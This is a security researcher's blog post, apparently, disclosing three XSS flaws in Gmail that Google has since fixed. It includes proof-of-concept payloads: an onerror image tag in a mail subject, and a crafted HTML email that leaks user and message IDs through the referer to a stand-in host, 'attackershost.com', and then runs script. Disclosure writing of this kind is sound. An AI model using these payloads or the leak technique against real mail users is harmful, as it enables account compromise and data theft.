Cross-Site-Scripting in Google Mail

In the last months I found several XSS vulnerabilities in Google’s Gmail. All bugs are now fixed in a very short time. Currently Gmail has around 350 Mio. users and it’s clear that Google taking a lot of efforts to protect their users. (Safebrowsing, Google’s Security Tools, 2-Step-Verification, Vulnerability Reward Program, warnings for suspected state-sponsored attacks, Browser Security Handbook, Webmaster Tools warnings for hackable sites, Google+ with CSP evaluation and much more).
Google shared some stats about the VRP last year and told that around 65% of all reported bugs are XSS.
Google VRP stats
global VRP stats

And that statistics are completely true. Here my stats made with around 220 bugs:

my VRP stats (222 bugs)
So the numbers are nearly the same and I think every other company who develop web application has the same bug distribution and a much higher amount of bugs. Google has made a great job and compared with the amount of new features and new products, the relative frequency of security bugs is quite low.
Today I want to share 3 different XSS vulnerabilties in Google Gmail.
1. Persistent DOM XSS (innerHTML) in Gmail’s mobile view
A incoming mail containing <img src=x onerror=prompt(1)> within the subject and forwarded to another user, has lead to XSS.
That’s a funny bug, because something went wrong while some engineers was working on a fix. For some hours every fowarded message contain “// The body is already esacped”Oops!
2. Reflective DOM XSS in Gmail’s mobile view

That’s all. Just a simple reflective XSS in the search feature for labels.
3. Persistent XSS in Gmail
There are two ways to display a message directly:
  • ik = it’s a static ID for that particular user
  • view = representing the current view of Gmail
  • th = message id
The response of both requests is text/plain.
With a special crafted URL it was possible to force a “HTTP/1.1 500 Internal Server Error” with some lines of the message. The Content-Type is now: text/html.
But we still have a problem. An attacker doesn’t know the ik and the message id. Without both values it’s not possible to generate the special URL.
But it’s easy to get both values through referer leaking.
We have to send to our victim a HTML e-mail with that content:
<a href=”https://attackershost.com/gmailxss“>Click here to have fun</a>
<script>alert(/xss/)</script>
  • The 1×1.gif leakes the ik and the message id to attackershost.com (images are loaded in print preview and if the sender is a trusted mail source)
  • the link to attackershost.com/gmailxss has the same effect, leakes the referer by click
  • and a javscript alert(/xss/) to demonstrate that’s possible to run javascript in context of mail.google.com
The Google Security Team took immediately actions and blocked the particular GET parameter on their frontends as intermediate fix with the message:

“We’re sorry … but your computer or network may be sending automated queries. To protect our users, we can’t process your request right now.”

If you wanna read more about Google’s VRP I recommend you the talk of Nir Goldshlager “Killing a bug bounty program” or you can just read some of my older posts here, here, here and here.

Any questions? Use the comments below the post.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s